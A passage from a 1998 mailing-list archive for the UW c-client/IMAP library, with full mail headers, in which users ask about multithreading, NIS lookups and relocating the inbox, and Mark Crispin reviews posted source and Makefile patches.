(8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA03784; Mon, 17 Aug 1998 10:13:35 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA32076 for ; Mon, 17 Aug 1998 10:11:43 -0700 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA06176 for ; Mon, 17 Aug 1998 10:11:40 -0700 Received: from ashvedov (ashvedov.voicerite.com [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id NAA24042 for ; Mon, 17 Aug 1998 13:11:47 -0400 Message-Id: <008001bdca02$094341f0$2601a8c0@ashvedov.voicerite> Date: Mon, 17 Aug 1998 13:11:12 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr M. Shvedov" To: "C-CLIENT DG" Subject: Who ever tried multithreaded c-client? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I think that I've buit one in a very, very rude way (just by serializing everything what was not working properly), but may be there are more sophisticated solutions out there? Alex Shvedov, Miami, FL ext. 1-305-436-1608 ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 17 13:26:13 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 17 Aug 1998 13:26:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA20866 for ; Mon, 17 Aug 1998 13:26:11 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA26003; Mon, 17 Aug 1998 13:26:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA26594; Mon, 17 Aug 1998 13:25:45 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA86992 for ; Mon, 17 Aug 1998 13:23:42 -0700 Received: from gateway-le0.Cyanamid.COM (gateway-le0.Cyanamid.COM [198.138.106.253]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA28000 for ; Mon, 17 Aug 1998 13:23:41 -0700 Received: from linux.RI.AHP.COM by gateway-le0.Cyanamid.COM via smtpd (for mxu3.u.washington.edu [140.142.33.7]) with SMTP; 17 Aug 1998 20:23:41 UT Received: from rosenbj (rosenbj.ri.ahp.com [10.3.1.105]) by linux.ri.ahp.com (8.8.7/8.8.7) with SMTP id QAA00603 for ; Mon, 17 Aug 1998 16:22:52 -0400 Message-Id: <004f01bdca1c$eaf287e0$6901030a@rosenbj.RI.AHP.COM> Date: Mon, 17 Aug 1998 16:23:37 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Jeffrey Rosenberg" To: Subject: Can't create sub-folders MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I can create subfolders using Netscape Messsenger or Outlook Express on my IMAP server running IMAP4rev1 v10.190 server running on Linux. Any insights would be appreciated. Regards, Jeff Rosenberg ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 18 04:39:28 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 04:39:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id EAA05121 for ; Tue, 18 Aug 1998 04:39:27 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA13059; Tue, 18 Aug 1998 04:39:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id EAA16385; Tue, 18 Aug 1998 04:39:11 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA74014 for ; Tue, 18 Aug 1998 04:37:53 -0700 Received: from phyw164.phy.hw.ac.uk (karsten@phyw164.phy.hw.ac.uk [137.195.29.164]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA31369 for ; Tue, 18 Aug 1998 04:37:46 -0700 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id MAA29205; Tue, 18 Aug 1998 12:37:43 +0100 Message-Id: <13785.26416.615230.943259@phyw164.phy.hw.ac.uk> Date: Tue, 18 Aug 1998 12:37:41 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: c-client@u.washington.edu Subject: problem with NIS/YP and myusername_full() MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 12:00:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA20032 for ; Tue, 18 Aug 1998 12:00:21 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA22926; Tue, 18 Aug 1998 12:00:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA01711; Tue, 18 Aug 1998 11:59:54 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA86802 for ; Tue, 18 Aug 1998 11:57:56 -0700 Received: from honeybee.sover.net (erikl@honeybee.sover.net [204.71.16.14]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA17831 for ; Tue, 18 Aug 1998 11:57:55 -0700 Received: from localhost (erikl@localhost) by honeybee.sover.net (8.9.1a/8.9.1) with SMTP id OAA10735 for ; Tue, 18 Aug 1998 14:57:54 -0400 (EDT) Message-Id: Date: Tue, 18 Aug 1998 14:57:53 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Erik R Leo To: c-client@u.washington.edu Subject: Transition from /var/mail/user to ~user/mbox MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: honeybee.sover.net: erikl owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Greetings; I sent this same message (more-or-less) directly to Mark Crispin, since it may describe a problem with the mbox driver. Now I am sending it to this list, since it is more likely a problem with my understanding of the mbox driver :). I am using the pine4.02 (including the pine4.02A patch) distribution for POP, IMAP and local access to my mail spool. I also use sendmail (8.1.9a) with procmail (3.11pre7) as a local delivery agent on a BSD/OS (3.1) platform. I am in transition from a shared spool (/var/mail/user) to a home directory (~user/mbox) delivery scheme. Following advice gleaned from the imap mailing list (IMAP@CAC.washington.edu), I have used the default behavior of the mbox driver to move the existing contents of /var/mail/user to ~user/mbox, and I have configured procmail to deliver new mail to ~user/mbox. Everything seems to work fine, but I considered this to be a temporary configuration, since the move from the old spool to the home directory should be a one-time operation. I assumed the final configuration would simply be a matter of pointing the c-client programs (pine, imapd, ipop2d, ipop3d) at the new spool location, and following advice gleaned from .../imap/docs/CONFIG, I modified sysinbox() to return ~user/mbox on my workstation. Unfortunately, this configuration broke (neither pine nor ipop3d--the 2 that I tested--was able to open my inbox). Any advice would be appreciated. TIA, -Erik -- Erik R. Leo, Net Worker SoVerNet Tel: +1(802)463-2111 Vermont's Sovereign Internet Connection Fax: +1(802)463-2110 Post Office Box 495, 5 Rockingham Street Email: erikl@sover.net Bellows Falls, Vermont 05101 ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 18 12:56:19 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 12:56:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA21019 for ; Tue, 18 Aug 1998 12:56:18 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA22047; Tue, 18 Aug 1998 12:56:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA04422; Tue, 18 Aug 1998 12:55:53 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA61470 for ; Tue, 18 Aug 1998 12:54:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dlg@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA23823 for ; Tue, 18 Aug 1998 12:54:33 -0700 Message-Id: Date: Tue, 18 Aug 1998 12:44:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Erik R Leo Cc: c-client@u.washington.edu Subject: re: Transition from /var/mail/user to ~user/mbox In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 18 Aug 1998 14:57:53 -0400 (EDT), Erik R Leo wrote: > I sent this same message (more-or-less) directly to Mark Crispin, > since it may describe a problem with the mbox driver. Now I am sending it > to this list, since it is more likely a problem with my understanding of > the mbox driver :). Yes, I got your first message, which you sent less than 6 hours ago. Please allow a reasonable amount of time for a response. > I am in transition from a shared spool (/var/mail/user) to a home > directory (~user/mbox) delivery scheme. Following advice gleaned from the > imap mailing list (IMAP@CAC.washington.edu), I have used the default > behavior of the mbox driver to move the existing contents of > /var/mail/user to ~user/mbox, and I have configured procmail to deliver > new mail to ~user/mbox. Everything seems to work fine, but I considered > this to be a temporary configuration, since the move from the old spool to > the home directory should be a one-time operation. > > I assumed the final configuration would simply be a matter of > pointing the c-client programs (pine, imapd, ipop2d, ipop3d) at the new > spool location, and following advice gleaned from .../imap/docs/CONFIG, I > modified sysinbox() to return ~user/mbox on my workstation. > > Unfortunately, this configuration broke (neither pine nor > ipop3d--the 2 that I tested--was able to open my inbox). What, precisely, do you make sysinbox() return? sysinbox() must return an absolute path, not anything with a "~" in it. What, precisely, happened? It does not suffice to say "was [not] able to open my inbox". Did you get an error message? Did you get zero messages? I strongly recommend that you either disable the mbox driver in c-client or you use some name other than "mbox" (I recommend "INBOX"). The mbox driver exists specifically to move mail *from* the sysinbox() to ~/mbox. Although locking should protect you from moving from ~/mbox to ~/mbox, it is playing with fire. Note that any mail which does not go through procmail will go to /var/mail/user. There have been instances where this has happened, so your tinkering may end up creating more problems than the trivial bit of efficiency that it gains (in other words, you may be better off leaving it alone). From pinedev@shivax2.cac.washington.edu Tue Aug 18 13:04:12 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 13:04:11 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA20845 for ; Tue, 18 Aug 1998 13:04:10 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA24627; Tue, 18 Aug 1998 13:03:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA20324; Tue, 18 Aug 1998 13:02:51 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA61480 for ; Tue, 18 Aug 1998 13:01:37 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (imp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA09871 for ; Tue, 18 Aug 1998 13:01:37 -0700 Message-Id: Date: Tue, 18 Aug 1998 12:58:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Karsten Ballueder Cc: c-client@u.washington.edu Subject: re: problem with NIS/YP and myusername_full() In-Reply-To: <13785.26416.615230.943259@phyw164.phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 18 Aug 1998 12:37:41 +0100 (BST), Karsten Ballueder wrote: > I found that after upgrading to 4.2 the c-client library would trigger > an abort() on linux systems using yellow pages. > > The mysuername_full() function fails looking up the username, which, > of course, cannot be found in the local password file. > > Is there any fix for this? You may need to rebuild your c-client based software to get correct versions of the getpwnam() and getpwuid() libraries that consult Yellow Pages. Contact your operating system and/or C compiler vendor for assistance. We don't use Yellow Pages here (an excellent management decision for a number of reasons), but in any case YP is supposed to be drop-in compatible. From pinedev@shivax2.cac.washington.edu Tue Aug 18 13:14:41 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 13:14:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA10058 for ; Tue, 18 Aug 1998 13:14:40 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA25059; Tue, 18 Aug 1998 13:14:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA05413; Tue, 18 Aug 1998 13:14:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA21138 for ; Tue, 18 Aug 1998 13:13:10 -0700 Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA11183 for ; Tue, 18 Aug 1998 13:13:09 -0700 Received: from Eng.Sun.COM (engmail2 [129.146.1.25]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id NAA16946 for ; Tue, 18 Aug 1998 13:13:06 -0700 Received: from pitts (pitts.Eng.Sun.COM [129.146.81.72]) by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id NAA17101 for ; Tue, 18 Aug 1998 13:13:03 -0700 Message-Id: <199808182013.NAA17101@Eng.Sun.COM> Date: Tue, 18 Aug 1998 13:13:04 -0700 (PDT) Reply-To: "Doug Royer [N6AAW]" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Doug Royer [N6AAW]" To: c-client@u.washington.edu Subject: re: problem with NIS/YP and myusername_full() MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 8ja3DbfahKjKqczJ0T6m/A== X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Check the /etc/nsswitch.conf file if on Solaris (man nsswitch.conf). If not on Solaris, there should be a configuration file that comes with the OS or NIS. getpwnam() and getpwuid() use NIS/YP if the configuration file is correct. -Doug ------------------------------------------------------------------- Doug.Royer@Eng.Sun.COM http://www.royer.com/dougr.html 801 W. El Camino #131 Work: (650)786-7599 Mountain View, CA 94040 Ham Radio: N6AAW, Aviation: PP-ASEL > Date: Tue, 18 Aug 1998 12:58:59 -0700 (PDT) > From: Mark Crispin > To: Karsten Ballueder > Cc: c-client@u.washington.edu > Subject: re: problem with NIS/YP and myusername_full() > X-Sender: Mark Crispin > X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > > On Tue, 18 Aug 1998 12:37:41 +0100 (BST), Karsten Ballueder wrote: > > I found that after upgrading to 4.2 the c-client library would trigger > > an abort() on linux systems using yellow pages. > > > > The mysuername_full() function fails looking up the username, which, > > of course, cannot be found in the local password file. > > > > Is there any fix for this? > > You may need to rebuild your c-client based software to get correct versions > of the getpwnam() and getpwuid() libraries that consult Yellow Pages. Contact > your operating system and/or C compiler vendor for assistance. > > We don't use Yellow Pages here (an excellent management decision for a number > of reasons), but in any case YP is supposed to be drop-in compatible. From pinedev@shivax2.cac.washington.edu Tue Aug 18 13:44:52 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 13:44:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA20020 for ; Tue, 18 Aug 1998 13:44:50 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA23381; Tue, 18 Aug 1998 13:44:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA06337; Tue, 18 Aug 1998 13:44:32 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA86716 for ; Tue, 18 Aug 1998 13:43:19 -0700 Received: from dj.stud.ntnu.no (root@dj.stud.ntnu.no [129.241.56.19]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id NAA14568 for ; Tue, 18 Aug 1998 13:43:18 -0700 Received: from ild.stud.ntnu.no (ild.stud.ntnu.no [129.241.56.15]) by dj.stud.ntnu.no (8.9.1/8.9.1) with ESMTP id WAA10427; Tue, 18 Aug 1998 22:43:16 +0200 (METDST) Received: (from joge@localhost) by ild.stud.ntnu.no (8.9.1/8.9.1) id WAA24816; Tue, 18 Aug 1998 22:43:15 +0200 (MET DST) Message-Id: <199808182043.WAA24816@ild.stud.ntnu.no> Date: Tue, 18 Aug 1998 22:43:15 +0200 (MET DST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Geir Johannessen To: MRC@CAC.Washington.EDU (Mark Crispin) Cc: erikl@sover.net, c-client@u.washington.edu Subject: Re: Transition from /var/mail/user to ~user/mbox In-Reply-To: from Mark Crispin at "Aug 18, 1998 12:44: 1 pm" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Url: http://www.stud.ntnu.no/~joge/ X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > > I assumed the final configuration would simply be a matter of > > pointing the c-client programs (pine, imapd, ipop2d, ipop3d) at the new > > spool location, and following advice gleaned from .../imap/docs/CONFIG,= I > > modified sysinbox() to return ~user/mbox on my workstation. > > > > Unfortunately, this configuration broke (neither pine nor > > ipop3d--the 2 that I tested--was able to open my inbox). >=20 > What, precisely, do you make sysinbox() return? sysinbox() must return an > absolute path, not anything with a "~" in it. We deliver mail to ~/mail/INBOX with procmail and use the following patch to make imapd find the correct inbox and use ~/mail for everything related to mail. I enclose the patches we use below. I would appreciate some comment on what we are doing. It seems to be working just fine, but are we doing something "wrong"? --- src/osdep/unix/env_unix.c.orig Tue Jul 14 03:55:36 1998 +++ src/osdep/unix/env_unix.c Tue Jul 21 22:04:41 1998 @@ -548,7 +548,8 @@ { char tmp[MAILTMPLEN]; if (!sysInbox) { /* initialize if first time */ - sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); +/* sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); */ + sprintf (tmp,"%s/mail/INBOX",myhomedir ()); sysInbox =3D cpystr (tmp); /* system inbox is from mail spool */ } return sysInbox; @@ -572,7 +573,8 @@ /* validate name, return its name */ if (!mailboxfile (dst,tmp)) return NIL; } - else strcpy (dst,myhomedir());/* no arguments, wants home directory */ +/*else strcpy (dst,myhomedir());*//* no arguments, wants home directory */ + else sprintf (dst,"%s/mail",myhomedir()); return dst; /* return the name */ } =0C @@ -646,7 +648,8 @@ } } /* build resulting name */ - sprintf (dst,"%s/%s",dir,name); +/*sprintf (dst,"%s/%s",dir,name);*/ + sprintf (dst,"%s/mail/%s",dir,name); return dst; /* return it */ } =0C --- Makefile.orig Tue Jul 21 22:07:42 1998 +++ Makefile Tue Jul 21 22:04:41 1998 @@ -51,7 +51,7 @@ # mbox if file "mbox" exists on the home directory, automatically moves ma= il # from the spool directory to "mbox" and uses "mbox" as INBOX. =20 -EXTRADRIVERS=3Dmbox +EXTRADRIVERS=3D =20 =20 # The following plaintext login types are defined: @@ -72,7 +72,7 @@ =20 # Miscellaneous command line options passed down to the c-client Makefile =20 -EXTRACFLAGS=3D +EXTRACFLAGS=3D-DSVR4_DISABLE_FLOCK EXTRALDFLAGS=3D =20 # Normal commands That was it. In someone would like to see what we did with procmail I enclose that patch also: --- src/authenticate.c.orig Wed May 20 15:41:55 1998 +++ src/authenticate.c Sat Jun 13 14:18:20 1998 @@ -41,7 +41,7 @@ #ifndef MAILSPOOLHASH #define MAILSPOOLHASH 0 /* 2 would deliver to /var/spool/mail/b/a/bar= */ #endif -/*#define MAILSPOOLHOME "/.mail" /* watch the leading / */ +#define MAILSPOOLHOME "/mail/INBOX" /* watch the leading / */ /* delivers to $HOME/.mail */ #define STRLEN(x) (sizeof(x)-1) =20 --- config.h.orig Wed May 20 15:39:50 1998 +++ config.h Fri May 22 17:58:47 1998 @@ -45,9 +45,9 @@ #define TRUSTED_IDS {"root","daemon","uucp","mail","x400","network",\ "list","slist","lists","news",0} =20 -/*#define NO_fcntl_LOCK /* uncomment any of these three if you */ -/*#define NO_lockf_LOCK /* definitely do not want procmail to make */ -/*#define NO_flock_LOCK /* use of those kernel-locking methods */ +#define NO_fcntl_LOCK /* uncomment any of these three if you */ +#define NO_lockf_LOCK /* definitely do not want procmail to make */ +#define NO_flock_LOCK /* use of those kernel-locking methods */ =20 /*#define RESTRICT_EXEC /* don't allow everyone to fork programs */ =20 @@ -71,7 +71,7 @@ is not found, maildelivery will proceed as normal to the default system mailbox. */ =20 -#define ETCRC "/etc/procmailrc" /* optional global procmailrc startup +#define ETCRC "/etc/mail/procmailrc" /* optional global procmailrc startup file (will only be read if procmail is started with no rcfile on the command line). */ =20 --- Makefile.orig Wed May 20 15:40:59 1998 +++ Makefile Mon May 18 19:54:32 1998 @@ -2,7 +2,7 @@ =20 # BASENAME should point to where the whole lot will be installed # change BASENAME to your home directory if need be -BASENAME =3D /usr +BASENAME =3D /usr/local # For display in the man pages VISIBLE_BASENAME=3D $(BASENAME) =20 -- Geir Johannessen # joge@stud.ntnu.no E B Schieldropsvei 35-25 # http://www.stud.ntnu.no/~joge/ N-7033 TRONDHEIM, NORWAY # Tlf private +47-73888989, job +47-73598048 "Due to circumstances beyond your control, you are master of your fate and captain of your soul." From pinedev@shivax2.cac.washington.edu Tue Aug 18 14:23:45 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 14:23:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA22159 for ; Tue, 18 Aug 1998 14:23:44 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA26946; Tue, 18 Aug 1998 14:23:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA23195; Tue, 18 Aug 1998 14:23:19 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA68742 for ; Tue, 18 Aug 1998 14:21:51 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pra@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA18872 for ; Tue, 18 Aug 1998 14:21:50 -0700 Message-Id: Date: Tue, 18 Aug 1998 14:07:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Geir Johannessen Cc: erikl@sover.net, c-client@u.washington.edu Subject: Re: Transition from /var/mail/user to ~user/mbox In-Reply-To: <199808182043.WAA24816@ild.stud.ntnu.no> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 18 Aug 1998 22:43:15 +0200 (MET DST), Geir Johannessen wrote: > I would appreciate some comment on what we are doing. It seems to be > working just fine, but are we doing something "wrong"? If it works, then it is very likely to be right, or "close enough" to right that you needn't worry. But I'll give you some comments about your specific patches: > +/* sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); */ > + sprintf (tmp,"%s/mail/INBOX",myhomedir ()); This is the correct patch to change the location of where mail is delivered from the mail spool to ~/mail/INBOX, and is probably what you want. > - else strcpy (dst,myhomedir());/* no arguments, wants home directory */ > +/*else strcpy (dst,myhomedir());*//* no arguments, wants home directory */ > +/*sprintf (dst,"%s/%s",dir,name);*/ > + sprintf (dst,"%s/mail/%s",dir,name); > return dst; /* return it */ These patches are probably not correct. The second patch in particular is probably a bug; it will always insert "mail/" in a namespace or "~" names. Unless you want to force all non-absolute mailbox references to insert a "mail/", but have certain other references continue to use the user's home directory, this is probably not what you want. The correct patch is in env_init(). That is, you probably want to change: myHomeDir = cpystr (home);/* use real home directory */ to the directory that you want, e.g. sprintf (tmp,"%s/mail",home); myHomeDir = cpystr (tmp); > -EXTRADRIVERS=mbox > +EXTRADRIVERS= This patch is correct if you want to disable moving mail from the sysinbox to mbox. On your system, that is probably what you want. > -EXTRACFLAGS= > +EXTRACFLAGS=-DSVR4_DISABLE_FLOCK You probably do not want to do this, since this disables the protection between multiple processes accessing the mailbox. It is only an issue if you access NFS files this way (the bottom line advice is: don't!), but the code does a runtime test for NFS to disable locking automatically. You almost certainly *do* want locking for local files. If you have NFSv3, be sure that you have a recent version of the c-client library (one with flocksun.c) and be sure to build on your NFSv3 system. Binaries built on an NFSv2 system will run on an NFSv3 system, but the runtime test will not work on the NFSv3 system. From pinedev@shivax2.cac.washington.edu Tue Aug 18 16:05:40 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 16:05:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id QAA24175 for ; Tue, 18 Aug 1998 16:05:38 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA00329; Tue, 18 Aug 1998 16:05:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) 